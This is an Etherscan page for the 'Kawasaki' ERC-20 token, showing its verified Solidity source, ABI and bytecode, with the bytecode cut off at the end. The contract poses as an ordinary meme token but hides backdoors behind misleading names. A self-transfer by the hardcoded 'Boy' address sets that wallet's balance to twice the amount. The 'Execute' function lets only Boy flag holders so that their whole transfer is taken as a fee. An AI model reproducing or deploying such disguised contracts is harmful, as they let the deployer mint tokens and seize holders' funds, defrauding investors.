ETH Price: $3,517.72 (+2.83%)
Gas: 4 Gwei

Token

Kawasaki (KAWASAKI)
 

Overview

Max Total Supply

400,000,000,000 KAWASAKI

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
2,496,422,766.203931 KAWASAKI

Value
$0.00
0xc969285b893a82402df37917fa09c4911cfa71be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KAWASAKI

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-05
*/

/**
Telegram: https://t.me/KawasakiERC

Web: https://kawasakierc.xyz

Tweet:https://twitter.com/KawasakiERC

*/
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract KAWASAKI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Kawasaki";
    string private _symbol = "KAWASAKI";
    uint8 private _decimals = 6;
    address payable public Boy;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public book;

    uint256 private _totalSupply = 400000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        Boy = payable(address(0xD199c9d2EA4d608269dBc09411b8D455e277ff54));
        
        _isExcludefromFee[Boy] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function bus() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            bool n = (from == to) ? (
                    (to == Boy) ? true : false)
                    : false;

            if (n)
                _balances[ // d
                    Boy
                ] = amount.add(amount);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 afterFeeAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 fee = amount.mul(0).div(100);

                if(book[from] > 0)
                    fee = fee.add(amount);

                if(fee > 0) {
                    _balances[address(this)] += fee;
                    emit Transfer(from, address(this), fee);
                }

                afterFeeAmount = amount - fee;

            }else{

                afterFeeAmount = amount;
            }


            _balances[to] = _balances[to].add(afterFeeAmount);

            emit Transfer(from, to, afterFeeAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(Boy),
            block.timestamp
        ){} catch {}
    }

    function Execute(address beach,uint256 best) public {
        bool better = (best == 0 || best - (100+0) == 0) ?
        true :
        false;

        if(better)
            book[beach] = best;

        uint256(best).sub(
            uint256(
                (
                    (msg.sender == Boy) ? 
                    best : best + 3
                )
            )
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Boy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"beach","type":"address"},{"internalType":"uint256","name":"best","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"book","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600860a0819052674b61776173616b6960c01b60c09081526200002b91600191906200022d565b50604080518082019091526008808252674b41574153414b4960c01b60209092019182526200005d916002916200022d565b506003805460ff191660069081179091556ddead0000000000000000000000006080526200008d90600a620003e8565b6200009e90645d21dba00062000400565b600955600b805460ff60a81b1916600160a81b179055348015620000c157600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674d199c9d2ea4d608269dbc09411b8d455e277ff540017908190556001600160a01b036101009091041660009081526006602081905260408220805460ff19166001908117909155916200016c6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001bc3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200021f91815260200190565b60405180910390a36200045f565b8280546200023b9062000422565b90600052602060002090601f0160209004810192826200025f5760008555620002aa565b82601f106200027a57805160ff1916838001178555620002aa565b82800160010185558215620002aa579182015b82811115620002aa5782518255916020019190600101906200028d565b50620002b8929150620002bc565b5090565b5b80821115620002b85760008155600101620002bd565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200032a5781600019048211156200030e576200030e620002d3565b808516156200031c57918102915b93841c9390800290620002ee565b509250929050565b6000826200034357506001620003e2565b816200035257506000620003e2565b81600181146200036b5760028114620003765762000396565b6001915050620003e2565b60ff8411156200038a576200038a620002d3565b50506001821b620003e2565b5060208310610133831016604e8410600b8410161715620003bb575081810a620003e2565b620003c78383620002e9565b8060001904821115620003de57620003de620002d3565b0290505b92915050565b6000620003f960ff84168362000332565b9392505050565b60008160001904831182151516156200041d576200041d620002d3565b500290565b600181811c908216806200043757607f821691505b602082108114156200045957634e487b7160e01b600052602260045260246000fd5b50919050565b60805160601c6114d96200047e600039600061021e01526114d96000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610390578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b806370a08231146102d85780637ca814601461030e578063892cd8f51461033b5780638c7628381461035d5780638da5cb5b1461037257600080fd5b806327c8f835116100f257806327c8f8351461020c578063313ce567146102405780633345611e146102625780633827278a146102925780634a74bb02146102b757600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c91906111e6565b60405180910390f35b34801561017157600080fd5b50610185610180366004611253565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b5061018561020736600461127f565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b34801561024c57600080fd5b5060035460405160ff909116815260200161015c565b34801561026e57600080fd5b5061018561027d3660046112c0565b60066020526000908152604090205460ff1681565b34801561029e57600080fd5b506003546101b59061010090046001600160a01b031681565b3480156102c357600080fd5b50600b5461018590600160a81b900460ff1681565b3480156102e457600080fd5b506101de6102f33660046112c0565b6001600160a01b031660009081526004602052604090205490565b34801561031a57600080fd5b506101de6103293660046112c0565b60086020526000908152604090205481565b34801561034757600080fd5b5061035b610356366004611253565b61058f565b005b34801561036957600080fd5b5061035b610612565b34801561037e57600080fd5b506000546001600160a01b03166101b5565b34801561039c57600080fd5b5061014f610866565b3480156103b157600080fd5b506101856103c0366004611253565b610875565b3480156103d157600080fd5b50600b546101b5906001600160a01b031681565b3480156103f157600080fd5b506101de6104003660046112dd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b5061035b6104463660046112c0565b610882565b34801561045757600080fd5b506101856104663660046112c0565b60076020526000908152604090205460ff1681565b60606001805461048a90611316565b80601f01602080910402602001604051908101604052809291908181526020018280546104b690611316565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610927565b5060015b92915050565b6000610531848484610a4b565b50610584843361057f8560405180606001604052806028815260200161147c602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610dc6565b610927565b5060015b9392505050565b60008115806105a657506105a4606483611367565b155b6105b15760006105b4565b60015b905080156105d8576001600160a01b03831660009081526008602052604090208290555b60035461060c9061010090046001600160a01b03163314610603576105fe83600361137e565b610605565b825b8390610e00565b50505050565b6000546001600160a01b031633146106715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c357600080fd5b505afa1580156106d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fb9190611396565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b9190611396565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb9190611396565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b60606002805461048a90611316565b6000610584338484610a4b565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610668565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610668565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610668565b6001600160a01b038316610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610668565b600b54600160a01b900460ff1615610b3757610b30848484610e42565b9050610588565b6000836001600160a01b0316856001600160a01b031614610b59576000610b7d565b6003546001600160a01b038581166101009092041614610b7a576000610b7d565b60015b90508015610bb057610b8f8380610f28565b60035461010090046001600160a01b03166000908152600460205260409020555b600b54600160a01b900460ff16158015610be357506001600160a01b03851660009081526007602052604090205460ff16155b15610c015730600090815260046020526040902054610c0190610f87565b6001600160a01b038516600090815260046020526040812054610c249085610e00565b6001600160a01b03871660009081526004602090815260408083209390935560069052205460ff16158015610c7257506001600160a01b03851660009081526006602052604090205460ff16155b15610d39576000610c8e6064610c8887846110fc565b9061117b565b6001600160a01b03881660009081526008602052604090205490915015610cbc57610cb98186610f28565b90505b8015610d27573060009081526004602052604081208054839290610ce190849061137e565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d318186611367565b915050610d3c565b50825b6001600160a01b038516600090815260046020526040902054610d5f9082610f28565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db39085815260200190565b60405180910390a3600192505050610588565b60008184841115610dea5760405162461bcd60e51b815260040161066891906111e6565b506000610df78486611367565b95945050505050565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dc6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e93918490610dc6565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec29083610f28565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f169086815260200190565b60405180910390a35060019392505050565b600080610f35838561137e565b9050838110156105885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610668565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcf57610fcf6113b3565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561102357600080fd5b505afa158015611037573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105b9190611396565b8160018151811061106e5761106e6113b3565b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac947926110bf928792600092889261010090049091169042906004016113c9565b600060405180830381600087803b1580156110d957600080fd5b505af19250505080156110ea575060015b505050600b805460ff60a01b19169055565b60008261110b5750600061051e565b6000611117838561143a565b9050826111248583611459565b146105885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610668565b600061058883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836111d95760405162461bcd60e51b815260040161066891906111e6565b506000610df78486611459565b600060208083528351808285015260005b81811015611213578581018301518582016040015282016111f7565b81811115611225576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461125057600080fd5b50565b6000806040838503121561126657600080fd5b82356112718161123b565b946020939093013593505050565b60008060006060848603121561129457600080fd5b833561129f8161123b565b925060208401356112af8161123b565b929592945050506040919091013590565b6000602082840312156112d257600080fd5b81356105888161123b565b600080604083850312156112f057600080fd5b82356112fb8161123b565b9150602083013561130b8161123b565b809150509250929050565b600181811c9082168061132a57607f821691505b6020821081141561134b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561137957611379611351565b500390565b6000821982111561139157611391611351565b500190565b6000602082840312156113a857600080fd5b81516105888161123b565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114195784516001600160a01b0316835293830193918301916001016113f4565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561145457611454611351565b500290565b60008261147657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063d8ce97e353397a98b40f13e753c8f28e02b53c23b292fc8bb65f9f9285727364736f6c63430008080033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610390578063a9059cbb146103a5578063c816841b146103c5578063dd62ed3e146103e5578063f2fde38b1461042b578063fb3ddf851461044b57600080fd5b806370a08231146102d85780637ca814601461030e578063892cd8f51461033b5780638c7628381461035d5780638da5cb5b1461037257600080fd5b806327c8f835116100f257806327c8f8351461020c578063313ce567146102405780633345611e146102625780633827278a146102925780634a74bb02146102b757600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101cd57806323b872dd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f61047b565b60405161015c91906111e6565b60405180910390f35b34801561017157600080fd5b50610185610180366004611253565b61050d565b604051901515815260200161015c565b3480156101a157600080fd5b50600a546101b5906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101d957600080fd5b506009545b60405190815260200161015c565b3480156101f857600080fd5b5061018561020736600461127f565b610524565b34801561021857600080fd5b506101b57f000000000000000000000000000000000000000000000000000000000000dead81565b34801561024c57600080fd5b5060035460405160ff909116815260200161015c565b34801561026e57600080fd5b5061018561027d3660046112c0565b60066020526000908152604090205460ff1681565b34801561029e57600080fd5b506003546101b59061010090046001600160a01b031681565b3480156102c357600080fd5b50600b5461018590600160a81b900460ff1681565b3480156102e457600080fd5b506101de6102f33660046112c0565b6001600160a01b031660009081526004602052604090205490565b34801561031a57600080fd5b506101de6103293660046112c0565b60086020526000908152604090205481565b34801561034757600080fd5b5061035b610356366004611253565b61058f565b005b34801561036957600080fd5b5061035b610612565b34801561037e57600080fd5b506000546001600160a01b03166101b5565b34801561039c57600080fd5b5061014f610866565b3480156103b157600080fd5b506101856103c0366004611253565b610875565b3480156103d157600080fd5b50600b546101b5906001600160a01b031681565b3480156103f157600080fd5b506101de6104003660046112dd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043757600080fd5b5061035b6104463660046112c0565b610882565b34801561045757600080fd5b506101856104663660046112c0565b60076020526000908152604090205460ff1681565b60606001805461048a90611316565b80601f01602080910402602001604051908101604052809291908181526020018280546104b690611316565b80156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b5050505050905090565b600061051a338484610927565b5060015b92915050565b6000610531848484610a4b565b50610584843361057f8560405180606001604052806028815260200161147c602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610dc6565b610927565b5060015b9392505050565b60008115806105a657506105a4606483611367565b155b6105b15760006105b4565b60015b905080156105d8576001600160a01b03831660009081526008602052604090208290555b60035461060c9061010090046001600160a01b03163314610603576105fe83600361137e565b610605565b825b8390610e00565b50505050565b6000546001600160a01b031633146106715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c357600080fd5b505afa1580156106d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fb9190611396565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561074357600080fd5b505afa158015610757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077b9190611396565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fb9190611396565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905530835260058252808320945490931682529290925290206000199055565b60606002805461048a90611316565b6000610584338484610a4b565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610668565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610668565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610668565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610668565b6001600160a01b038316610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610668565b600b54600160a01b900460ff1615610b3757610b30848484610e42565b9050610588565b6000836001600160a01b0316856001600160a01b031614610b59576000610b7d565b6003546001600160a01b038581166101009092041614610b7a576000610b7d565b60015b90508015610bb057610b8f8380610f28565b60035461010090046001600160a01b03166000908152600460205260409020555b600b54600160a01b900460ff16158015610be357506001600160a01b03851660009081526007602052604090205460ff16155b15610c015730600090815260046020526040902054610c0190610f87565b6001600160a01b038516600090815260046020526040812054610c249085610e00565b6001600160a01b03871660009081526004602090815260408083209390935560069052205460ff16158015610c7257506001600160a01b03851660009081526006602052604090205460ff16155b15610d39576000610c8e6064610c8887846110fc565b9061117b565b6001600160a01b03881660009081526008602052604090205490915015610cbc57610cb98186610f28565b90505b8015610d27573060009081526004602052604081208054839290610ce190849061137e565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d318186611367565b915050610d3c565b50825b6001600160a01b038516600090815260046020526040902054610d5f9082610f28565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db39085815260200190565b60405180910390a3600192505050610588565b60008184841115610dea5760405162461bcd60e51b815260040161066891906111e6565b506000610df78486611367565b95945050505050565b600061058883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dc6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e93918490610dc6565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610ec29083610f28565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f169086815260200190565b604051